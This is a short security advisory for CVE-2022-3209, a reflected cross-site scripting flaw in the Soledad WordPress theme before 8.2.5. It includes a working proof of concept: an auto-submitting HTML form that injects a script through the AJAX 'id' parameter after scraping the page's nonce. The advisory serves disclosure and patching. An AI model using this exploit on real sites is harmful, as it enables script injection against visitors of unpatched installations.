Soledad < 8.2.5 – Reflected Cross-site Scripting | CVE 2022-3209

Description

The theme does not sanitise the {id,datafilter[type],...} parameters in its penci_more_slist_post_ajax AJAX action, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

Proof of Concept

A threat actor can collect the nonce value on the main webpage by searching for it on the ajax_var_more call:

var ajax_var_more = {"url":"https:\/\/soledaddemo.pencidesign.net\/wp-admin\/admin-ajax.php","nonce":"d6c491629c","errorPass":"<p class=\"message message-error\">Password does not match the confirm password<\/p>","login":"Email Address","password":"Password","headerstyle":"default"};

And then can create a webpage redirecting the user to a compromised version of the site such as:
```
<html>
	<body onload="myform.submit()">
		<form action="https://soledaddemo.pencidesign.net/wp-admin/admin-ajax.php" method="POST" name="myform">
			<input type="hidden" name="action" value="penci&#95;more&#95;slist&#95;post&#95;ajax" />
			<input type="hidden" name="id" value="&quot;&gt;&lt;script&gt;alert&#96;XSS&#45;Checker&#96;&lt;&#47;script&gt;" />
			<input type="hidden" name="nonce" value="d6c491629c" />
		</form>
</body>
</html>
```
